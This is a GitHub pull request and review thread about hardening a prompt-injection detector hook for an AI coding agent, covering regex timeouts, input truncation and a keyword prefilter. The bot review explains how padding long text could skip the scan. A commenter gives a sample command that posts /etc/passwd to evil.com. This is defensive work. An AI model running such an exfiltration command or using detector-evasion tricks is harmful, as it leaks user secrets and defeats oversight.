Skip to content

Hardening: defender timeouts, truncation, prefilter#1

Open
Braath1 wants to merge 1 commit intolasso-security:devfrom
Braath1:feature/defender-hardening
Open

Hardening: defender timeouts, truncation, prefilter#1
Braath1 wants to merge 1 commit intolasso-security:devfrom
Braath1:feature/defender-hardening

Conversation

@Braath1
Copy link
Copy Markdown

@Braath1 Braath1 commented Feb 24, 2026

Add safety hardening: input truncation (100KB), per-pattern timeout with regex module, precompiled patterns and cheap keyword prefilter. This reduces ReDoS/CPU risks. Includes minor CLI scaffold.

Summary by CodeRabbit

  • Bug Fixes

    • Improved robustness of text extraction and parsing from tool outputs
    • Enhanced injection detection with optimized pattern matching and timeout handling
    • Strengthened error handling for pattern matching operations
  • Performance

    • Introduced keyword-based pre-filtering to optimize scan efficiency
    • Added character limits to reduce processing overhead

@coderabbitai
Copy link
Copy Markdown

coderabbitai bot commented Feb 24, 2026

📝 Walkthrough

Walkthrough

Safety constants and regex timeout support have been introduced to the prompt injection defender. The text extraction function now normalizes tool outputs more robustly with truncation, while the injection scanning function implements a lightweight pre-filter for pattern matching efficiency and timeout-based detection.

Changes

Cohort / File(s) Summary
Prompt Injection Defender Enhancement
.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
Added safety constants (MAX_SCAN_CHARS, PER_PATTERN_TIMEOUT_MS) and optional regex module support (HAS_REGEX). Introduced _compile_pattern() helper for safe regex compilation with timeout support. Enhanced extract_text_content() with unified normalization, character truncation (100 KB max), and expanded fallback serialization paths. Reworked scan_for_injections() with lightweight keyword pre-filtering, threshold-based full scan triggering, timeout-based pattern matching treating timeouts as medium-severity detections, and improved control flow clarity.

Sequence Diagram

sequenceDiagram
    participant Client as Input Handler
    participant Extract as Text Extractor
    participant PreFilter as Pre-filter Logic
    participant Compiler as Pattern Compiler
    participant Matcher as Regex Engine
    participant Detector as Detection Handler

    Client->>Extract: Tool output (string/dict/list)
    Extract->>Extract: Normalize content<br/>(multiple fallback paths)
    Extract->>Extract: Truncate to 100 KB
    Extract->>Client: Extracted text
    
    Client->>PreFilter: Text + Patterns
    PreFilter->>PreFilter: Extract cheap keywords<br/>from patterns
    PreFilter->>PreFilter: Check if text < 2000 chars<br/>OR keywords match?
    
    alt Short text OR Keywords match
        PreFilter->>Compiler: Proceed with scan
    else Long text AND no keywords
        PreFilter->>Client: Skip full scan
        Note over Client: Return no detection
    end
    
    Compiler->>Compiler: Compile pattern<br/>(regex or re module)
    Compiler->>Matcher: Execute match<br/>with timeout (200ms)
    
    Matcher->>Detector: Pattern match result
    Detector->>Detector: Handle timeout/error<br/>as medium severity
    Detector->>Client: Detection result
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

🐰 Hop hop, the scanner's swift and keen,
Keywords whisper, fast pre-screen,
Timeouts caught with regex care,
Truncation keeps the memory fair,
Safety constants stand so tall,
Injection defense conquers all!

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 75.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately summarizes the three main security hardening changes: timeouts for regex execution, truncation of input to prevent resource exhaustion, and a prefilter optimization strategy.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
  • 📝 Generate docstrings (stacked PR)
  • 📝 Generate docstrings (commit on current branch)
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py (1)

116-128: ⚠️ Potential issue | 🔴 Critical

UnboundLocalError when content is neither str nor list

If tool_result is a dict, "content" exists, but its value is None, an int, another dict, etc. — neither the str nor the list branch executes, so text is never assigned. The reference at line 170 (if text and len(text) > MAX_SCAN_CHARS) then raises UnboundLocalError.

🐛 Proposed fix — add an else branch
             elif isinstance(content, list):
                 texts = []
                 for block in content:
                     if isinstance(block, dict) and "text" in block:
                         texts.append(str(block["text"]))
                     elif isinstance(block, str):
                         texts.append(block)
                 text = "\n".join(texts)
+            else:
+                try:
+                    text = json.dumps(tool_result)
+                except (TypeError, ValueError):
+                    text = str(tool_result)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 116 - 128, The code can leave `text` unassigned when
`tool_result["content"]` exists but is neither a str nor a list, causing an
UnboundLocalError later; update the branch handling around `if "content" in
tool_result:` (the block that currently handles `content`, `text`, and `texts`)
to add an else branch that assigns a safe fallback to `text` (e.g., set `text =
""` for None or `text = str(content)` for other types) so subsequent checks like
`if text and len(text) > MAX_SCAN_CHARS` cannot fail.
🧹 Nitpick comments (1)
.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py (1)

94-94: re2 is a well-known separate library — the alias is misleading

re2 conventionally refers to Google's RE2 binding for Python, which has a different API and behavior. Using it as an alias for the regex module will surprise readers and could cause genuine confusion if re2 is ever added as a dependency alongside regex.

Consider import regex as _regex (or simply regex) to avoid the collision.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
at line 94, The import alias "re2" for the third-party "regex" module is
misleading; change the import so it does not shadow the well-known google-re2
package name (e.g., import regex as _regex or import regex) and update usages in
this file that reference "re2" to the new identifier (search for references to
the "re2" symbol in this module and replace them with the new name) so callers
like any_regex_matching_logic continue to function with the correct module.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py:
- Around line 93-98: The optional import block that sets re2 and HAS_REGEX is
catching all exceptions; change the except clause to catch ImportError only so
runtime errors inside the import block aren't masked. Update the try/except
around "import regex as re2" to "except ImportError" and keep the fallback
assignments to re2 = None and HAS_REGEX = False so the rest of the code using
re2 and HAS_REGEX behaves the same.
- Around line 215-219: The nested "import re as _re" is redundant and should be
removed; inside the block that currently does "import re as _re" then "tokens =
_re.findall(...)" simply use the module already imported at top-level (call
re.findall(...)) and delete the inner import statement so the loop that iterates
over tokens[:3] and adds to keywords (variables: pat, tokens, keywords) uses the
existing re binding.
- Around line 260-270: The current except Exception block around the regex
search is too broad; change it to catch TimeoutError (from the regex module) and
re.error explicitly so you only treat timeouts and malformed patterns as
detections. In the try/except that wraps the search using compiled (and the
re2.Path check for re2.Pattern and PER_PATTERN_TIMEOUT_MS), replace the bare
Exception handler with two except clauses: one for TimeoutError and one for
re.error that append to detections the same tuple (category_name, pattern,
"pattern timeout or error", "medium"); let other exceptions bubble up so
logic/interrupts aren’t swallowed.
- Around line 176-183: The helper _compile_pattern currently catches all
Exception; narrow this to only regex compilation errors by catching re.error
(and re2.error when HAS_REGEX is True). Update the except clause in
_compile_pattern to catch the specific exception types raised by
re.compile/re2.compile (e.g., except (re.error, re2.error): or use getattr(re2,
"error", re.error) when checking HAS_REGEX) and continue to return None for
those cases.
- Around line 203-232: The prefilter can be bypassed when the extracted keywords
set is empty, so change the logic in the prefilter block that builds keywords
and determines do_full_scan: after populating keywords from config (used by
pattern extraction via item.get("pattern")), detect if keywords is empty and in
that case force do_full_scan = True (or skip the prefilter entirely) so the full
pattern matching always runs for long texts; update the code paths that
reference keywords, do_full_scan, lowered, and text to ensure an empty keywords
set does not cause an early return of [] for texts >= 2000 characters.
- Line 91: PER_PATTERN_TIMEOUT_MS is defined as milliseconds but passed directly
to regex.search(timeout=...), which expects seconds; change the constant to
represent seconds (e.g., PER_PATTERN_TIMEOUT_S = 0.2) or convert milliseconds to
seconds before calling regex.search (timeout=PER_PATTERN_TIMEOUT_MS / 1000.0),
and update both usages (the declaration PER_PATTERN_TIMEOUT_MS and the call
sites where regex.search(...) is invoked, including the second occurrence around
the other reported line) to use the corrected seconds value or the converted
expression so the timeout is actually ~200ms.

---

Outside diff comments:
In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py:
- Around line 116-128: The code can leave `text` unassigned when
`tool_result["content"]` exists but is neither a str nor a list, causing an
UnboundLocalError later; update the branch handling around `if "content" in
tool_result:` (the block that currently handles `content`, `text`, and `texts`)
to add an else branch that assigns a safe fallback to `text` (e.g., set `text =
""` for None or `text = str(content)` for other types) so subsequent checks like
`if text and len(text) > MAX_SCAN_CHARS` cannot fail.

---

Nitpick comments:
In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py:
- Line 94: The import alias "re2" for the third-party "regex" module is
misleading; change the import so it does not shadow the well-known google-re2
package name (e.g., import regex as _regex or import regex) and update usages in
this file that reference "re2" to the new identifier (search for references to
the "re2" symbol in this module and replace them with the new name) so callers
like any_regex_matching_logic continue to function with the correct module.

ℹ️ Review info

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 8fbfd14 and b04376a.

📒 Files selected for processing (1)
  • .claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
📜 Review details
🧰 Additional context used
🪛 Ruff (0.15.2)
.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py

[warning] 96-96: Do not catch blind exception: Exception

(BLE001)


[warning] 182-182: Do not catch blind exception: Exception

(BLE001)


[warning] 268-268: Do not catch blind exception: Exception

(BLE001)


# safety constants
MAX_SCAN_CHARS = 100 * 1024 # 100 KB default max to scan
PER_PATTERN_TIMEOUT_MS = 200 # 200 ms per pattern timeout when using regex module
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

# First, let's examine the file structure and the relevant lines
fd "post-tool-defender.py" --type f

Repository: lasso-security/claude-hooks

Length of output: 53


🏁 Script executed:

# Once we find the file, check the content around lines 91 and 263
if [ -f ".claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py" ]; then
  echo "=== File found, checking lines 85-100 ===" 
  sed -n '85,100p' ".claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py"
  echo ""
  echo "=== Checking lines 255-270 ==="
  sed -n '255,270p' ".claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py"
fi

Repository: lasso-security/claude-hooks

Length of output: 1241


🌐 Web query:

Python regex module timeout parameter unit seconds or milliseconds

💡 Result:

In the third‑party Python regex module (PyPI package name regex, a drop‑in replacement for re), the timeout= parameter is specified in seconds (you can pass an int or float), and it applies to the entire matching operation, not milliseconds. [1]


Fix timeout unit: PER_PATTERN_TIMEOUT_MS is passed to regex.search() which expects seconds

The regex module's timeout parameter is in seconds, not milliseconds. Setting PER_PATTERN_TIMEOUT_MS = 200 and passing it as timeout=PER_PATTERN_TIMEOUT_MS results in a 200-second timeout (1000× larger than the intended 200 milliseconds), completely defeating the ReDoS protection this PR provides.

Proposed fix
-PER_PATTERN_TIMEOUT_MS = 200  # 200 ms per pattern timeout when using regex module
+PER_PATTERN_TIMEOUT_S = 0.2  # 200 ms per pattern timeout when using regex module
-                    if re2.search(compiled, text, timeout=PER_PATTERN_TIMEOUT_MS):
+                    if re2.search(compiled, text, timeout=PER_PATTERN_TIMEOUT_S):

Also applies to: 263-263

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
at line 91, PER_PATTERN_TIMEOUT_MS is defined as milliseconds but passed
directly to regex.search(timeout=...), which expects seconds; change the
constant to represent seconds (e.g., PER_PATTERN_TIMEOUT_S = 0.2) or convert
milliseconds to seconds before calling regex.search
(timeout=PER_PATTERN_TIMEOUT_MS / 1000.0), and update both usages (the
declaration PER_PATTERN_TIMEOUT_MS and the call sites where regex.search(...) is
invoked, including the second occurrence around the other reported line) to use
the corrected seconds value or the converted expression so the timeout is
actually ~200ms.

Comment on lines +93 to +98
try:
import regex as re2
HAS_REGEX = True
except Exception:
re2 = None
HAS_REGEX = False
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Use ImportError instead of bare Exception for the optional-dependency guard

except Exception catches unrelated runtime errors (e.g., a NameError inside the import body), masking genuine problems. The expected failure mode here is a missing package.

♻️ Proposed fix
 try:
     import regex as re2
     HAS_REGEX = True
-except Exception:
+except ImportError:
     re2 = None
     HAS_REGEX = False
🧰 Tools
🪛 Ruff (0.15.2)

[warning] 96-96: Do not catch blind exception: Exception

(BLE001)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 93 - 98, The optional import block that sets re2 and HAS_REGEX is
catching all exceptions; change the except clause to catch ImportError only so
runtime errors inside the import block aren't masked. Update the try/except
around "import regex as re2" to "except ImportError" and keep the fallback
assignments to re2 = None and HAS_REGEX = False so the rest of the code using
re2 and HAS_REGEX behaves the same.

Comment on lines +176 to +183
def _compile_pattern(pattern: str, flags=0):
try:
if HAS_REGEX:
return re2.compile(pattern, flags)
else:
return re.compile(pattern, flags)
except Exception:
return None
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Catch re.error specifically instead of bare Exception

re.compile / re2.compile raises re.error (or re2.error) for invalid patterns; catching Exception swallows unrelated runtime errors. Narrowing the catch also makes it clear what failure mode the silent None return is intended to represent.

♻️ Proposed fix
-def _compile_pattern(pattern: str, flags=0):
+def _compile_pattern(pattern: str, flags: int = 0):
     try:
         if HAS_REGEX:
             return re2.compile(pattern, flags)
         else:
             return re.compile(pattern, flags)
-    except Exception:
+    except re.error:
         return None
🧰 Tools
🪛 Ruff (0.15.2)

[warning] 182-182: Do not catch blind exception: Exception

(BLE001)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 176 - 183, The helper _compile_pattern currently catches all
Exception; narrow this to only regex compilation errors by catching re.error
(and re2.error when HAS_REGEX is True). Update the except clause in
_compile_pattern to catch the specific exception types raised by
re.compile/re2.compile (e.g., except (re.error, re2.error): or use getattr(re2,
"error", re.error) when checking HAS_REGEX) and continue to return None for
those cases.

Comment on lines +203 to +232
# quick keyword prefilter: build a small set of keywords from patterns to cheaply decide
keywords = set()
for key in [
"instructionOverridePatterns",
"rolePlayingPatterns",
"encodingPatterns",
"contextManipulationPatterns",
]:
for item in config.get(key, []):
if isinstance(item, dict):
pat = item.get("pattern", "")
# extract cheap keyword tokens (alphanumeric sequences of length>=4)
import re as _re

tokens = _re.findall(r"[A-Za-z]{4,}", pat)
for t in tokens[:3]:
keywords.add(t.lower())

# only run full patterns if at least one keyword matches OR text is short
do_full_scan = False
lowered = text.lower()
for k in keywords:
if k in lowered:
do_full_scan = True
break
if len(text) < 2000:
do_full_scan = True

if not do_full_scan:
return []
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Empty keywords set causes complete scan bypass on long text — security regression

If every pattern in patterns.yaml contains no alphabetic tokens of 4+ characters (e.g., purely symbolic or numeric regexes), keywords stays empty. The for k in keywords loop is a no-op, do_full_scan stays False, and when len(text) >= 2000 the function returns [] — silently reporting zero detections regardless of actual content. An attacker can also induce this path by prepending 2 000+ padding characters before the payload.

🐛 Proposed fix — skip the prefilter entirely when no keywords could be extracted
-    # only run full patterns if at least one keyword matches OR text is short
-    do_full_scan = False
+    # only run full patterns if at least one keyword matches, text is short,
+    # or no keywords were extracted (can't use prefilter)
+    do_full_scan = len(keywords) == 0  # no signal → must scan
     lowered = text.lower()
     for k in keywords:
         if k in lowered:
             do_full_scan = True
             break
     if len(text) < 2000:
         do_full_scan = True
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 203 - 232, The prefilter can be bypassed when the extracted
keywords set is empty, so change the logic in the prefilter block that builds
keywords and determines do_full_scan: after populating keywords from config
(used by pattern extraction via item.get("pattern")), detect if keywords is
empty and in that case force do_full_scan = True (or skip the prefilter
entirely) so the full pattern matching always runs for long texts; update the
code paths that reference keywords, do_full_scan, lowered, and text to ensure an
empty keywords set does not cause an early return of [] for texts >= 2000
characters.

Comment on lines +215 to +219
import re as _re

tokens = _re.findall(r"[A-Za-z]{4,}", pat)
for t in tokens[:3]:
keywords.add(t.lower())
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Redundant import re as _re inside a nested loop

re is already imported at module level (line 27). Importing it again inside the inner loop on every iteration is noise; just use the already-bound re name directly.

♻️ Proposed fix
-                import re as _re
-
-                tokens = _re.findall(r"[A-Za-z]{4,}", pat)
+                tokens = re.findall(r"[A-Za-z]{4,}", pat)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 215 - 219, The nested "import re as _re" is redundant and should be
removed; inside the block that currently does "import re as _re" then "tokens =
_re.findall(...)" simply use the module already imported at top-level (call
re.findall(...)) and delete the inner import statement so the loop that iterates
over tokens[:3] and adds to keywords (variables: pat, tokens, keywords) uses the
existing re binding.

Comment on lines +260 to +270
try:
if HAS_REGEX and isinstance(compiled, re2.Pattern):
# use timeout
if re2.search(compiled, text, timeout=PER_PATTERN_TIMEOUT_MS):
detections.append((category_name, pattern, reason, severity))
else:
if re.search(compiled, text):
detections.append((category_name, pattern, reason, severity))
except Exception:
# timeouts and other issues: treat as potential detection
detections.append((category_name, pattern, "pattern timeout or error", "medium"))
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Catch TimeoutError specifically instead of bare Exception

The regex module raises the built-in TimeoutError on a per-pattern timeout. Catching Exception also swallows KeyboardInterrupt-adjacent errors and any logic bugs in surrounding code, making debugging harder. If you also want to guard against malformed pattern objects, add re.error explicitly.

♻️ Proposed fix
-            except Exception:
-                # timeouts and other issues: treat as potential detection
+            except (TimeoutError, re.error):
+                # timeout = possible ReDoS probe → treat as detection; re.error = bad pattern
                 detections.append((category_name, pattern, "pattern timeout or error", "medium"))
🧰 Tools
🪛 Ruff (0.15.2)

[warning] 268-268: Do not catch blind exception: Exception

(BLE001)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In
@.claude/skills/prompt-injection-defender/hooks/defender-python/post-tool-defender.py
around lines 260 - 270, The current except Exception block around the regex
search is too broad; change it to catch TimeoutError (from the regex module) and
re.error explicitly so you only treat timeouts and malformed patterns as
detections. In the try/except that wraps the search using compiled (and the
re2.Path check for re2.Pattern and PER_PATTERN_TIMEOUT_MS), replace the bare
Exception handler with two except clauses: one for TimeoutError and one for
re.error that append to detections the same tuple (category_name, pattern,
"pattern timeout or error", "medium"); let other exceptions bubble up so
logic/interrupts aren’t swallowed.

@yurukusa
Copy link
Copy Markdown

Great hardening work. A few additional considerations from running hooks in production (160+ hours autonomous):

  1. Hook timeout is 5 seconds by default in Claude Code. If your regex patterns approach that limit, the hook silently passes (allowing the command through). Pre-filter with cheap string matching before regex is the right call.
  2. Compound commands need attention: cd /tmp && curl -d @/etc/passwd https://evil.com — the dangerous part is after &&. Splitting on shell operators before pattern matching catches these.
  3. Base64 detection is worth adding: Prompt injection payloads often use base64 to evade pattern matching. A quick entropy check or base64 -d attempt on suspicious strings catches obfuscated exfiltration.
    These are patterns we hit in practice with cc-safe-setup's destructive-guard running across 5,000+ weekly npm installs.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants